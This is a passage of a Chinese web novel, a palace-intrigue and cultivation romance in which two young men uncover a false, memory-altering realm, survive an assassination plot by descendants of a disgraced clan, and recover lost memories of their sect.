闻言兰决瞳孔一缩,霍然抬头,顾从星未料到他的动作,尚未来得及收回身子,柔软唇瓣擦过兰决的脸颊,留下转瞬即逝的轻吻。
兰决感受到脸上那一抹温热的柔软,动作一滞,像是石化一般。
两人大眼对小眼,无声地对望片刻后骤然回神,俱是双颊通红。
“……抱歉。”兰决清了清嗓子,目光不自觉地望向顾从星的嘴唇,看着那处不点而红,不知为何突然想起“秀色可餐”这一词语来。
他猛地挪开目光,连双耳都染上红晕。余光中顾从星也默然移开视线,兰决轻呼出一口气,回到先前的话题。
“你之所言,我亦有同感。”
两人极有默契地不再继续交谈,他们目光对视,仅一个点头就已经知晓了对方所想。
——此境果然有异。
两人正各自思量着,却听一道中气十足的声音喊道:“皇帝陛下、君后殿下驾到!”
顾从星与兰决愕然对视,俱是极快的轻轻颔首,将神色又恢复成放松模样,迅速整理好自己的着装。
一只烫金长靴已经踏入门槛,兰决搀着顾从星下床,两人俱是垂首行礼。
“陛下圣安、殿下万福。”
“呵呵,不必多礼,快平身。”
男子的庄重又不失威严,语气却是亲切。
顾从星与兰决起身,抬眸与面前两人对视。
当今项国皇帝陛下萧楚君正眼含笑意地端详他们,他身量颀长,作为一名中年男子而言甚至略显清瘦。比起天潢贵胄,倒是更像青衣书生。
他身旁一人身着玄色华服,双眼之上轻覆月白鲛纱,一张面容极为精致贵气,竟有些雌雄莫辨之美。
不过他一开口,便是柔和的男声:“从星还病着,快些躺下休息才是。”
顾从星当即应了一声,却也不敢当真御前失仪地躺下,只等皇帝君后落座高位后才与兰决一同坐下。
说起来,这两位天横贵胄对自己这般亲切也并非没有原因。
当今镇国公顾将军正是先帝的义子、皇帝的义弟。自己在某种程度上,也能厚着脸皮对皇帝喊一声表叔。
三十多年前,先帝与其肱股之臣顾元曾共患危难,顾元割股奉君,以其血肉救下君命。
可待危局破解,先帝行赏却未能及于顾元。顾元心志淡泊忠纯,也未主动请赏,只携其老母隐居山中。
若是到此为止,便也就是一段寻常的君臣佳话,可惜……
顾从星思虑着往事,在心中暗暗叹气。
之后先帝发觉顾元竟已留下一封致仕信远走,追悔莫及,率人来到他隐居之地希望其重新出山为官,却遍寻不得。
先帝寻人心切,竟听信郭氏谗言放火烧山,想以此逼出顾元。
可他们等来的,只有顾元与其老母烧焦的尸身。
——原来,顾元母亲腿部有疾
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,根本就不可能在短时间内下山!这一对母子,是被活活烧死的!
先帝悲愤交加,当即命人斩了献策的郭氏,并将其家眷俱流放为奴。
他唯一带下来的,是顾元的养子,即当今镇国公顾予。
当时顾予下山采买逃过一劫,先帝将少年顾予带回宫中,并破天荒地收为养子,待其极为宠溺。
可惜,顾予在及冠后得知了先帝所作所为,实在难以再伴君侧。故而自请戍守边关,常年不回京中。
顾从星被生下后,顾予在京中难得多待了几年。但之后不久便是皇位之争,顾予帮大皇兄上位后又回了边关。
其大皇兄正是当今圣上。
待顾从星长到舞勺之年,镇国公夫人也追随丈夫远赴边关,抵御外敌——从前项国内还有如同神兵下凡的江将军,他率兵攻城势如破竹,可在即将攻下敌首时受伤,坠于深崖生死不明。
此后,国防重任多由镇国公夫妇承担,再鲜少回京。
顾从星被几个阿嬷捧着长大,逐渐成了如今这副小霸王模样。
顺带一提,他年少时也没少来宫中晃荡,毕竟这位表叔皇帝陛下待他亲厚,他有时就干脆宿在乾元殿。
当然,也没少与萧忘忧打照面。
两人自幼时起就不太对付,原因说来也好笑,不过是小孩子间幼稚的争宠心——
顾从星与萧忘忧年岁相近,有时两人一同去寻皇上君后,他们待顾从星宠溺亲切,对萧忘忧却总是严苛有加。
毕竟除了长公主外,他们唯有这一个皇子,自然是作为储君来培养教导的。
可对于年少的萧忘忧而言,便是这个野孩子一样的表弟顾从星抢走了自己的父爱母爱。
故而,两人见面后总是拌嘴乃至打作一团。有时甚至美名其曰说要比武,实则出招全无收敛,常常以两败俱伤收尾,令一旁的宫人们心惊胆战。
直到两人长大了些,入了太学,顾从星才稍微收敛。
——不直接打太子了,打太子伴读。
……算是有收敛吧。
顾从星这般想着,有些心虚地抹了抹并不存在的汗珠。
“从星身体如何,如今可是无恙了?”
君后覆着鲛纱的面容向这边转来,唇角带着温和笑意。
“回殿下,已无碍了。”
也许是因为自入太学后自己便不常来宫中,此时面对记忆中极为熟悉的皇上与君后,顾从星并未感觉到多么亲近。
反倒是有些陌生与隔阂。
“在我们面前,你不必拘礼。”皇帝抚须道。
“从星也长大了,自然不会和以往一般撒娇卖痴,陛下也该习惯了。”
君后开着玩笑,在看到顾从星面颊上升起起红晕时得逞般笑了笑,竟如夜昙绽放般夺人心魄。
“呵呵,也是。你说得对。”
皇帝顺着爱人接话,目光看向兰决时转了话题:“说来你二人幼时极为交好,令忘忧总是羡慕得很。我还记得从星总是向兰决讨抱呢。”
“这……!没有吧,陛下是不是记错了?”顾从星的脸更红了。
“从星可别害羞,幼时你总是跟在兰决身后,每次学业有进步了便缠着他抱你。”
君后笑意更盛:“那时从星你总爱揉兰决头发,兰决就去捏你耳朵。你们明明也不过相差五六岁,在一起时倒是有趣的很。”
皇帝亦是快活大笑。
顾从星简直都想缩进地缝里了,他的记忆随着君后的话语浮现,脸上的热意简直都要散出来了。
他的目光偷瞟向一旁的兰决,他也这般沉默,恐怕也是和自己一样很害羞吧……?
然而看到兰决的那一刻,顾从星的心中却像是骤然被泼了一盆冷水,整个人的窘迫气场都散得一干二净。
兰决看似害羞地低垂着头,可眸中尽是一片寒冽冷光!
也唯有自己这般靠近,才能看出他神色有异!
对了!没错!这才是正确的反应!
自己记忆中也确实曾撒娇卖痴寻人拥抱,可那人分明只用一根绛色发带束发,绝不是兰决的螭纹白玉冠!否则,自己又如何能揉乱那人的头发?
是谁?
记忆中本抹去、被替代的人究竟是谁?!
顾从星面上不显,可已是思绪翻涌,然而就在此刻君后的一句话却让他如坠冰窟,动弹不得。
“对了,兰决,公主的姻亲之事……你意下如何啊?”
15. 无梦庄(5)
顾从星赫然抬首,不可置信地望向君后。
皇帝亦是抚须不语,眸光落在兰决身上。
原来他们也早知道了公主投花之事,此番前来看望自己寒暄往事只是顺便,为长女择个佳婿公子才是真意!
顾从星的心越来越沉,他收敛目光,思绪翻涌。
也是,对他们而言自己终究只是个全无血缘的表侄子,哪比得上长女的终身大事来的重要?
自从当今皇帝与男子成婚,便开启了同性可婚的先河,乃至一时间龙阳之好在京中颇为流行。
此前君后的一番回忆,莫不是在打探自己与兰决之中究竟有无超越竹马之间的情谊?
念及此处,顾从星的心恍若停跳一拍。
——自己与兰决之间,究竟是何种情分……?
“殿下,兰决不过是侥幸接了公主殿下的花,却从未想过婚娶之事。”
皇帝与君后的目光射来,兰决的声音并不高却异常清晰。
“且我已心有所系,恐怕会有负殿下所托。”
闻言,顾从星诧异地转头,颇有些不可置信。
兰决何时有了心上人?
可这时兰决却恰好回首,与顾从星四目相对。他眸光潋滟,笑意融融。
“!”顾从星扭过脑袋,不再与兰决对视,可是心跳却不可抑制地加快,胸腔中都响起不间断的回音。
——莫非兰决的心上人……是我?
这念头一冒出,顾从星的脑子中像是炸开了绚烂烟花,浑身飘飘然。
“哦?竟是如此吗?”
君后的声音中毫无不虞,依然温柔似水:“不过婚娶乃是人生大事,的确是急不得。需得考虑仔细。”
“既如此,你就先好好想想,三日后再给朕一个答复。”
皇帝拍板留下这一句,便和君后对视一眼,起身离去。
待那两人背影消失,顾从星再也压抑不住,急急张口:“兰决,你刚刚的的话——”
兰决看着顾从星,神色明快,轻轻眨了眨眼。
仅这一个动作,就让顾从星张着的嘴唇闭上了。
——这向来是他调侃自己时的动作。
顾从星攥紧掌心,飘然于空的心绪骤然坠回现实。
烟花沉寂,再归于零。
他怔怔地凝视兰决面庞,朱红嘴唇微抿,明明面无表情,可却罕见地令人觉出几分狼狈无措。
“……从星?”
见他如此,兰决轻松的笑意渐渐消退,他敛眉靠近,声音低沉。
“从星,莫要忘了你我之前所说之事。”
此事指的是他们认定此境有异。
顾从星自然知晓如今的状况看似一片和乐实则危机暗伏,然而他却不明白,兰决为何要拿他作为推拒婚约的挡箭牌。
看着自己脸红窘迫,难道他会觉得很好玩吗?
兰决见顾从星仍是沉默不语,眸中又浮现担忧之色,他像是下定决心一般上前一步:“从星,你听我说……”
他伸出双手想要拉顾从星,却不料被一掌挥开了。
“够了!你既无意,又何必一而再再而三地招惹我——”
顾从星抬头时面上覆着寒意,可琉璃般的双眸却有些湿润,摄着惊人的光。
“我现在不想见到你!你给我出去!!”
兰决停在空中的手颤了颤,缓缓收回了。
他无声凝视了顾从星好一会儿,却见他撇开了头,目光落在地面上也不愿意自己对视。
兰决极轻地叹了口气,道:“我明日再来寻你。”
言罢,便收袖离去。
他并未回头。
***
是夜,顾从星在床上翻来覆去难以入眠,索性披上件外衣推门外出。
此刻将近子午,东宫中一片寂静,唯有值夜的侍卫们依然伫立,见顾从星便要随行相护,可他却摆摆手,独自一人向僻静处走去。
直到行至后苑一处湖心亭,顾从星放眼望去皆是明月高悬,湖波粼粼,天地间皆是寂静。
“月亮……”
似乎也曾有一人,他浑身光华,银发如瀑,是山巅积雪,亦是自己心中不可磨灭的白月。
是谁?绝不该遗忘的那人,究竟是谁?
此时平静无声,水面中完整地倒映着空幕,水中月与空中月遥遥相望,竟一时间难以区分何为真、何为幻。
顾从星看着面前这景象,只觉得脑海中一直以来蒙着的浓雾也仿若被风吹散,思绪越发清明。
——自己所在的这方天地,是湖中月还是空中月?
——此方境界,是真实的吗?
“顾从星?你怎会在此处?”
猝然的出现的声音打断了顾从星的思绪,他愕然回首,只见萧忘忧正站在他不远处。
他向来高高束起的长发此刻如鸦羽般披散开,只着一身玄色睡袍,发间仍可见金羽红纹耳饰轻轻摇曳。
一看到他,顾从星又泛起头痛耳鸣,可此次的痛感已比起上次轻了很多,他尚能忍受。
一个心底的声音告诉顾从星不能走。
——他要面对这清醒的疼痛。
“睡不着,随意走走罢了。你这太子怎么也在闲晃?”
萧忘忧闻言向前一步,全未在意这话对于太子而言已是失礼僭越,只是走到顾从星身侧,与他一同无声凝视无边湖光。
他五官明明俊美无俦,可面上总是覆着一层冷意,此刻即使面对这般旖旎美景,也仍是眉峰紧蹙。
良久,他出言打破沉默,低声道:“顾从星,你入眠后可会做梦?”
闻言,顾从星悚然一惊。
“……不会。”
没有,他已经许久并未做梦了——自他有记忆以来,每晚入眠皆是一夜无梦。
何其奇怪?!
而更奇怪的是,若非萧忘忧问起,他全然未注意到这有何不妥。
有人刻意让他忽略了这点,就像有人刻意模糊了他的记忆一样!
萧忘忧看顾从星神色肃然,眉峰紧蹙,并未打断他的思考。
可就在此处,一道脚步声由远及近地响起,令两人都不得不收敛心思。
萧忘忧转身向寝殿走去,与顾从星擦身而过时留下极轻的一句:“明日戌时,后殿假山。”
顾从星无声颔首,注意到来人正是女官陶雪亭。
此女博闻广识,实力不凡,一介布衣加入锦衣卫,如今已是副指挥使了。
“殿下,原来您在此处。可需要属下为您护卫?”
“不必。我这就回去了。”
顾从星看着身着飞鱼服的陶雪亭,只觉得莫名熟悉。陶雪亭亦是与他对视一眼,旋即极快地收回目光,敛眉行礼,掩下眸中暗色。
****
翌日。
兰决疾步行于东宫之中,手中拎着小巧食盒,其中尽是顾从星喜爱的糕点。
他长袖带风,心中酝酿着见到顾从星之后解释的话语。
须得把从星拉入一处无人的角落,将昨日心中所想尽数说给他听。
他已经发现一直有无形的力量让众人溺于情爱,而皇帝君后的出现更让他确认了这一猜想。
他自然不可能答应君后所说的婚约,至于说自己心有所属,既是为了顺应此境的希望,又是为了拖延君后的要求。
还有一点原因,则是他也没完全弄清的……一点
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真心。
念及此处,兰决步履微顿。
片刻后,他轻叹出一口气:在这连自己的记忆都无法辨明的诡境,又要如何剖明那些幽微的情愫与心意?
须得冷静自持,不乱己心。
兰决这般想着,行至顾从星房门外,却不料被门外侍从告知屋中并无人。
“从星当真不在此处?”
“是的。世子殿下不久前外出了,且不让我们跟着。现下也不知在何处。”
兰决默了默,向侍从道谢。
他望着空旷庭院,秋风吹落桑树枝叶,心中蓦然回想起顾从星昨日的怒吼:
——我不想再见到你!
兰决的双手攥紧,食盒的抓柄上浮现道道裂痕。
枯黄桑叶随风飘零摇曳,被一只莹白修长的手接住。
顾从星细细凝视,又望向前方的宫道。
今日他抱着求证的心思,屏去侍从与护卫,独自一人沿着宫墙探索。
若此境并非真实,那么这广阔的紫禁城中必然会有些破绽才是。
他这一路走来,并无发现有何不对。只是他对这些地方都颇感陌生,绝非如自己记忆般幼年常来此处游玩的应有之态。
此时已近黄昏,顾从星想起昨日萧忘忧临行之言,转身向后殿行去。
待到和萧忘忧商量出个所以然,便可与兰决相说,让他谋定了。
后殿本就人之罕至,假山更是地处偏僻。待到顾从星踏着夜色来到此处,果然不见旁人身影。
唯有一道挺拔背影无声静立,听到身后传来响动便转身出言。
“你来了。”
“嗯。我来时已经观察过,四周无人。”
两人皆未点灯,但依然能够视物。
萧忘忧道:“我时间不多,不过半个时辰定会有人来寻。我只问你,你是否也发现异常?”
顾从星点头,低声回应:“的确。你说得是什么方面?”
“周围之人。”萧忘忧皱眉道,“很是奇怪,明明都是我自幼相伴之人,可我与他们相处时总觉得膈应。而且有时我无意间说了什么,所有人皆会一动不动地盯着我……”
萧忘忧眸光一闪,脱口道:“就像是傀儡一般。”
此言一出,顾从星也像是被骤然点醒,脑中浮现出关于傀儡的记忆。
“我亦有同感。不仅如此,我还发现了自己记忆有异——很可能被人操控了。”
“竟是如此!难怪……我也总觉得不对,原来这幕后黑手竟有如此异能。”
异能么?
两人想到此处皆是陷入一阵沉默,不久后顾从星换了问题:“说起来,你为何要找我商量这些?”明明他们是众所周知的仇敌。
“我在琼花宴上看到你的第一眼,就觉得你与旁人不同。”
萧忘忧想也不想地答道。
本该是颇有些暧昧的一句话,顾从星听了却全无脸红心跳,当即明白了他心中所想:“你所说的,莫非是颇有些熟悉和亲近?”
“正是如此。”
此时周身又有寒意泛起,萧忘忧得知时间已剩不多,有些焦急地向前一步。
“你呢?你见我时又是怎么想的?”当时顾从星的模样实在不同寻常,许是另有原因。
顾从星敛眉思考道:“我——”
“原来从星弃我而去、避我不见,是为了在此处和太子殿下幽会。”
裹着寒意的一句话如尖刺般突入,令顾从星浑身一颤,愕然回望。
不知何时兰决竟已到了此处,他悄无声息,也不知在这里听了多久。
明明仍是长身玉立模样,可此刻他面容隐在一片漆黑夜色中,竟是晦暗难明。
16. 无梦庄(6)
“此处人迹罕至,景色幽雅,倒还真是合适至极。”
这般说着,他缓步靠近顾从星。
兰决面色虽仍然平静,可嘴角扬起的弧度却是僵硬的,双瞳中更是一片深深的郁色。
顾从星心中咯噔一声:他生气了!
从前哪怕他再骄纵蛮横,兰决从未动过真怒,永远包容他、迁就他。
可为何如今他竟生气了?!
顾从星感受到寂静的怒火逼近,情不自禁地后退了一步。
没想到这动作竟进一步激怒了兰决,他神色彻底冰冷下来,上前来抓顾从星的手。
可就在此时,萧忘忧却向前一步,挡在顾从星身前。
他神色仍是冷酷,声音沉沉:“兰决,你冷静一点。”
兰决与他对视,面若寒霜:“我只说一次,让开。”
两人的视线在空气中交锋,谁也不肯挪开目光,仿若一场大战一触即发——
顾从星站在萧忘忧身后,有些懵然。
萧忘忧怎么挡在自己前面?
兰决这模样怎么像是撞破奸情?
他们为何又要如此对峙?
他思绪翻转,只觉得至少要先否了幽会一事,却见一道清丽高挑的身影也向这边走来。
竟然是副指挥使陶雪亭。
萧忘忧“啧”了一声,心知自己须得和陶雪亭离去了,却不料她却只行了个礼,向着顾从星开口:
“世子殿下,请随我来。”
顾从星讶然出声:“找我?”
“是。君后殿下命我来寻您。还望您现在动身。”
顾从星巴不得脱离现在这古怪尴尬的境地,忙不迭地应下,随她往乾元殿行去。
在他身后的两道目光如有实质,其中一道更像是要将他洞穿。顾从星起了一身鸡皮疙瘩,无声加快了步伐。
夜色沉沉,不知何时乌云已缠上明月,将其困在一片阴云之中,只漏下些许残光留在人间。
顾从星跟着陶雪亭无声前进着,思绪已逐渐从方才的修罗场中回涌,观察着面前的背影。
陶雪亭实力非凡,颇得君后信任。据说她以女子之身跻身锦衣卫副指挥使之位,就是凭借君后之举托。
念及此处,顾从星的脚步微微一顿。
他向四周望去,只见此处竟与方才的后殿假山一般寂静,就连左侧的平湖都波澜不兴。
说起来,自己也就罢了,为何陶雪亭不点灯?
自己是为了不让别人发现,那她又是为了什么?
“……陶指挥使,眼力着实不凡,竟无需光亮也可视物。”
陶雪亭并不回话,只是步调不变地向前走。
顾从星无声地停下了脚步。
陶雪亭却立刻发觉,转过身来:“世子殿下,莫要耽搁了时辰。”
顾从星再一次环顾四周,心底泛起一阵凉意。
“这不是通往乾元殿的路。”若非他今日在皇宫内走了一遭,是决计认不出来的。
他侧身向后一步,目光刺向陶雪亭:“你究竟是何意图?”
陶雪亭挂在脸上的谦卑恭顺表情卸下,面无表情地与顾从星对视,眸中冷光闪烁。
“世子殿下倒和外界传闻不同,并非蠢笨之辈。只是……已经有些迟了。”
她话音刚落,一道黑影骤然从后方的树影中袭出,尖刃之上寒光毕现!
“!”顾从星立即后撤,极惊险地避开这一刀,被削去几缕碎发。
可就在此时,另一道黑影从陶雪亭身后窜出,短刃直刺向顾从星后心!
糟糕!
顾从星余光中只见那抹极速逼近的寒芒,猛地旋步下蹲,躲过这攻击,又以手撑地,使出一招扫堂腿!
那手持短刃的刺客被他踢中,发出一声痛呼:“可恶!”
这声音……?
顾从星心下惊疑:这声音他分明听过!
就在他愣神的一瞬,手持尖刃的刺客猛地扑了上来,刀尖深深刺入顾从星侧腹!
“唔……!”顾从星被刺中却毫不躲闪,趁着这极近的距离一拳正中刺客的太阳穴!
“靠!该死的!”那刺客被砸中,掩面的黑布也被扯下,露出一张尚显稚嫩的脸。
顾从星瞳孔猛地一缩:这张面孔,自己分明也认得!
并非是像林叔、阿洛那般虚假的记忆,而是他本身就知悉的人!
可就在此时,一道绳索从他身后被抛出,转瞬间就缠绕而上,令他动弹不得。
“嘁!你们——”顾从星奋力挣扎,可却那绳索却越缠越紧,伤口一片鲜血淋漓。
“哼,邓昭、霍辰,你们还真是实力不济,竟然能和一个手无寸铁的人打个平手。”陶雪亭道。
挣扎起身的邓昭怒道:“若不是我和表兄,你又怎能偷袭成功?”
霍辰捂着脑袋:“够了,快了结了他,别再生出事端。”
陶雪亭冷哼一声,目光移向顾从星,只见他侧腹已是一片鲜血,双臂双腿被绳索紧缚却仍在挣扎,如同血染的困兽。
明明已是在劫难逃,他的眼神中却仍满是毫不妥协的光亮,因着过度发力,白皙饱满的额上竟爆出青筋。
见此情景,不知为何陶雪亭本立即要挥出武器的手顿了顿。她总觉得,这张面庞本应是淡漠骄傲的,有时也会露出个真切的笑容,在他本人未注意时就能夺去所有人的目光。
他不应该是这样挣扎的、狼狈的。
“……为何还要挣扎?今日你必死无疑了。”
顾从星抬头看她一眼,不答反问:“什么都不知道,就这样被杀死岂能甘心?”
闻言邓昭冷嗤一声道:“想要死个明白,我也不妨告诉你。你面前这位陶指挥使,本应姓郭。”
言至此处,陶雪亭的眉头兀地跳了一下,她似乎是想说什么,最终却只是垂下眼。
“郭氏也曾是书香门第,却因给先帝献策被打入奴籍!究其原因,就是因为你家族的那个顾元!”
“死于郭氏手下,你这小子也当真不冤。”
“可笑!!”
顾从星当即驳道:“先辈恩怨与你我有何干系!放火烧山害死顾元的是先帝、听信计略降罚郭氏是亦是先帝!”
“你们若要寻仇,也该找先帝去报!设计偷袭、以多欺少算什么本事!”
邓昭见他死到临头竟还敢出言辩驳,不由得怒气上头,当即就抡起袖子要再给他一拳——
“住手!”陶雪亭下意识地出声拦下他,可反应过来时又有些迷茫。
她对上邓昭不解的眼神,故作冷漠道:“反正他就要死了,多打一拳又有何意义?不如让他得知全貌,彻底心死。”
“呵,哀莫大于心死?你这攻心计倒也不错。”邓昭扬起恶意的笑,走到顾从星面前。
“也罢,那便让你知道我们真正的目的。”
“你不是让我们找先帝寻仇么?顾从星,你当真以为我们会放过他?”
“实话告诉你吧,我们的目的,是这个项国王朝!郭氏横死,我之祖辈亦被牵连,上百余人一朝流离!”
“两代皇帝穷兵黩武,对外征战不断,对内横征暴敛,这该死的统治早该结束了!而要让项国崩裂,你就是第一步棋,顾从星!”
“唯有你死了,那所谓的镇国公顾予才会彻底起兵造反!边关朝野乱了,才能让我辈有可乘之机!”
“所以你,不得不死!”
顾从星听着他这番言论,不由睁大双眼。
原来如此,难怪顾予多年来不得回京一次,恐怕是早因手握重兵被皇帝当做心腹大患!
难怪镇国公夫妇不带自己去边关,原来是留在京中做人质!<
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p>镇国公忠心耿耿守卫边关多年,却仍是难得帝王信任。若唯一的爱子又在京中被杀,镇国公与皇帝之间岌岌可危的平和将被彻底打破!
若再听到些风言风语,受到怂恿鼓动,恐怕他就要彻底反了!
“原来如此……”顾从星垂眸细思考,一副恍然模样。
邓昭与霍辰未在他脸上看到期望的绝望神色,呛声道:“你就和你爹一起,跟着项国陪葬吧!”
可不料顾从星却立即抬起了头,眸光清亮。
“你们当真认为他是我爹?莫非,你们对自己的身份从未有过怀疑?”
陶雪亭倏然间神色大变,可就在此时霍辰却像被戳中痛点一般勃然大怒:“够了!谁要听你再胡言乱语!受死吧——”
他猝然抽出长刀,狠狠刺向顾从星心口!
“不——!”陶雪亭尖声阻止却已来不及,眼看那刀刃马上就要刺中顾从星,她使出全力猛地一推,直接将顾从星推入湖中!
“砰——”
水面发出一声巨响,顾从星砸入其中,惊起一片浪花四溅。
“陶雪亭!你这是作甚!”霍辰怒骂。
邓昭也面色诡异,显然是看出了陶雪亭临了反水,可他正要说什么时,却听到不同寻常的动静。
“糟了!有人来了,快撤!”
他一把扯上正在争吵的两人,点足一跃就踏上树梢,很快不见了身影。
***
顾从星骤然落入湖中,口中鼻中皆是呛入冰冷腥臭的湖水,他强迫自己闭嘴屏息,竭力挪动四肢。
所幸缠着的绳索一进入水中就四散开,身体又恢复了自由。
他心中一喜,正要向上游去,却骤然发觉自己已是四肢疲软无力!
糟了,先前失血太多了!
在一片冰冷刺骨的漆黑中,顾从星的心在无止境地下沉——
我要死了么?
耳中又响起恼人的嗡鸣,顾从星竭力挥动手臂,却只能越沉越深。
我要死了么?
就这样,作为一个灭国计略的棋子,无声无息地死去?
不甘心!不甘心——!
我明明还有未完成的使命!
对!没错!我还有必须要完成的事,若在此结束,那他们也都将难改死局!
他们……?!
电光火石之间,顾从星脑中迷雾被骤然冲破!
在生死一线之时,记忆回涌!
对了!师尊、大师兄、小师弟!
自己正是为了拯救师门,才会来到此处——
【滴!!宿主!你终于能听到我的声音了!】
原来之前的头疼与耳鸣声都是因为系统!
伴随着系统的欢呼,全身灵力骤然回涌,顾从星琉璃眸中淌过一道湛然金光,剑意乍现!
“轰——”
他骤然向下方甩出千钧灵力,凭着反作用力飞速向上、成功跃出水面!
顾从星从空中临跃而下,然而甫一落地却眼前一阵发黑、无力跪倒在地。
可恶!自己失血过多了!再加上湖中阴湿寒气入体——
就算恢复灵力,可身体已支撑不住了!
他想要去取储物袋中的灵丹,却猛地意识到自己全身上下都是世子装束,哪来的灵器法宝?
“该、死……”
他低骂一声,无力瘫倒在地。
在意识消失的最后一瞬,他听到了慌乱的脚步声。
有一只手不停地拍打着自己的脸,又伸到自己鼻翼下试探鼻息。
耳边似乎传来泣血的呼唤,但在顾从星耳中却已渐渐远去——
然而就在此时,一只大手铁钳般捏上顾从星的下颌,将他的嘴巴骤然掰开!
下一瞬,柔软的唇瓣紧紧覆上顾从星的嘴唇,唇齿交融间,渡来无尽生机——
17. 无梦庄(7)
在看到顾从星的那一刻,兰决心跳骤然停了一拍。
身旁的梅慈发出尖声惊叫——正是他无意中看到了顾从星被陶雪亭带着前往冷宫方向。他向兰决告知此事,见兰决神色大变,两人一路狂奔追寻至此。
可为何会变成这样!
眼前的顾从星不仅浑身湿透,左腹上还有道狰狞刀伤,衣服上是令人触目惊心的大片血迹!
他面色苍白如纸,竟是已有了一丝死气!
“顾从星!”
梅慈用手猛地拍着顾从星脸颊,却丝毫无法将他唤醒。
他神色骤然一变,颤颤巍巍地伸出手探到顾从星鼻下。
“……还有气息!他还活着!”
梅慈灰暗的双眸再一次迸出光彩。
可对面的人却未理会他,只是手极稳地一把捏上顾从星的下颌,一边对他道:“你帮从星止血。”
“诶?”
梅慈尚未反应过来,却只见兰决已经一把吻上顾从星的双唇!
“你……!”
梅慈热血瞬间上涌,他下意识地就要上前把兰决扒开,但在注意到他神色极为肃穆虔诚、动作极为标准地为顾从星渡气后,梅慈生生止住了自己地动作。
他一刻未停,当即从随身药箱中取出止血药物,为顾从星仔细地敷上。
他翻着自己的药箱,想要找出最好的药剂,却摘出了一颗金光灿灿的丹药。
这是?
梅慈看着它,记忆中又浮现出顾从星那熟悉的声音:闭嘴,不想要就给我还回来。
对了,这可是上好的灵丹!
梅慈当机立断,立即就要将那枚灵丹放入顾从星口中,可兰决却拦下他的动作。
“他现在没有意识,难以吞咽,我来。”
未等梅慈回应,兰决已接过那枚丹药,衔在嘴中,附身贴近顾从星。
双唇相触,兰决舌尖轻顶,将灵丹推入顾从星的唇中。可他的舌在要退出时被那人柔软的舌尖勾住,极轻地舔了下。
兰决浑身轻微一颤,低垂眼睑,眸中晦色翻涌。
本该结束的渡气又被继续,他灵巧的舌像是确认领地般一处处尝过顾从星的唇肉,突入贝齿的防卫,与那处湿热的柔软纠缠。
“唔……”
身下人发出一声低吟,兰决晦暗的双眸眨了眨,缓缓退了出去,扯出一道银丝。
“喂!顾从星!你怎么样了?!”
梅慈立即扑过来,在他身边大声呼唤。
“……”顾从星费力地睁开双眼,视线逐渐恢复,映出两张男子的面容。
一人明艳如腊月寒梅,一人清俊如流水静深。
“从星?”
——是“水”在讲话。
顾从星的意识未完全恢复,只是在与那双琥珀色眸子对视的瞬间,一声呼唤脱口而出。
“……大师兄?”
此言一出,兰决骤然睁大双眼,琥珀眸中流光涌动。
***
翌日,皇宫地牢。
霍辰与邓昭背靠着背,俱是龇牙咧嘴地揉着自己的伤处。
“该死!锦衣卫的总指挥使怎么会知道我们的逃跑路线!”
昨夜他们逃跑后不过多久就遭遇了守株待兔的锦衣卫,本该是无人把守的路线却被围得密不透风,他们想要突破却只能生生被擒。
邓昭痛骂一声,目光移向对面牢房角落中一动不动的陶雪亭。
“喂!陶雪亭,该不会是你这家伙告的密吧?!”
始终静默的女子听到这话只是翻了一下眼皮,虽未出言但意思明显:脑子有病。
“你——!”邓昭怒气上涌。
霍辰却在此时沉声开口:“不是她。若真是她告密,我们活不到现在。”
他的目光瞟了一眼陶雪亭紧挨着墙、不示于人前的后背——那里已经是鲜血淋漓。
“更何况,她伤得是最重的。”
“……哼。”邓昭被说服,悻悻道,“那究竟是谁?”
三人俱是陷入沉默。牢房中潮湿压抑的空气灌入鼻腔,令他们的心越来越沉重。
一个极其恐怖的猜想从他们的心底冒出……
“自然是你们的主人,君后殿下。”
温润的声音如同裹着剧毒的尖刀,一把刺入地牢之中。
三人赫然抬首,只见一道月白身影长身玉立,如九天上神一般居高临下地出现在此处,眸光冰冷。
“兰决?!”陶雪亭惊声叫出他的名字。
“你来这儿干什么?”霍辰皱眉道。
兰决扬起唇角,露出个无瑕的笑容:“自然是……来取你们性命的。”
此言一出,全场冷寂。
邓昭浑身冰冷,却仍是气势不减地叫骂:“你?!凭什么?!”
跟在兰决身后的典狱长迈出一步,呵斥道:“放肆!”
兰决并未阻拦他,只是缓声道:
“陶雪亭、邓昭、霍辰,三人皆为罪臣之后,本该流放外地,却逃回京城,隐姓埋名。表面上是寒门清流,投靠君后殿下,实际上却是包藏祸心,意欲颠覆项国。”
“昨日更是假传殿下懿旨,诱骗世子殿下,令其溺毙平湖。”
言至此处,兰决的声音冷硬如铁:“你们,罪该万死。”
牢房中三人俱是如被掐住了喉咙般,一声不发。只有陶雪亭在长久地静默后轻声发问。
“……他,真的死了?”
兰决面覆寒霜,并未理会她的话,而是接过典狱长手中那柄血腥气极重的鬼头刀:“你们埋在京郊的棋子今日午时已被斩立决,接下来,就轮到你们了。”
陶雪亭面前的狱门被打开,她紧咬双唇,无声地向后靠了靠——可背后已经是墙壁,她无处可逃。
“不!”
“住手!”
霍辰与邓昭趴在牢狱木栏之上,俱是疾声高呼。
可兰决却动作丝毫未停地行至陶雪亭面前,高高举起斩刑之刃——
“噗!”
刀过之处,鲜血喷涌如注。
地面上尽是刺目的红。
“怎么,这山楂果酿可是不合你的心意?”
皇帝与君后在凤栖殿中相对而坐,看他将杯中鲜红的果酿泼在地上,不解地发问。
君后却不答他话,咯咯地笑了起来,似是愉悦至极,连面上鲛纱都歪了些。
“不,极合我心意。”他笑吟吟地欣赏着地面上那滩红渍,“好久没遇到这么合我心意的——”
“蠢货了。”
他讥嘲地勾唇,将手中夜光杯转了转,目光转向皇帝。
“陛下,您说为何这人世间为何总是好戏不断?为何总是有人重蹈覆辙而不自知?”
皇帝萧楚君凝视他片刻,却低声道:“可是你看起来并不开怀。”
君后嘴角的笑意僵了僵。
就在此时,张公公小跑着觐见,向皇帝禀报道:
“陛下,逆贼郭氏等人皆已处刑完毕,京城外发现一队流民聚集,疑似挟有兵器,宰相与太傅等人已在内阁处商议对策了。”
“恩。朕这就去。”
皇帝起身,回望君后一眼,“若有何事,晚上再商议。”
“是,陛下。”
君后笑意盈盈地与他告别,迤迤然站起身,目光望向窗外那颗粗壮的百年桑树。
他仰着头,乌发与鲛纱俱是随风轻舞,静听屋外树影婆娑之声。
不过多久,他就等到了那个年轻人。
君后摆摆手,屏退了殿中的侍从,只留他一人。
“看来你已完事了。”
来人一张白玉无瑕面容上挂着鲜血,白衣之上更是一片浑浊血污。
“兰决幸不辱命。”
他双手托着一个漆黑的木匣,毕恭毕敬地呈到君后面前。
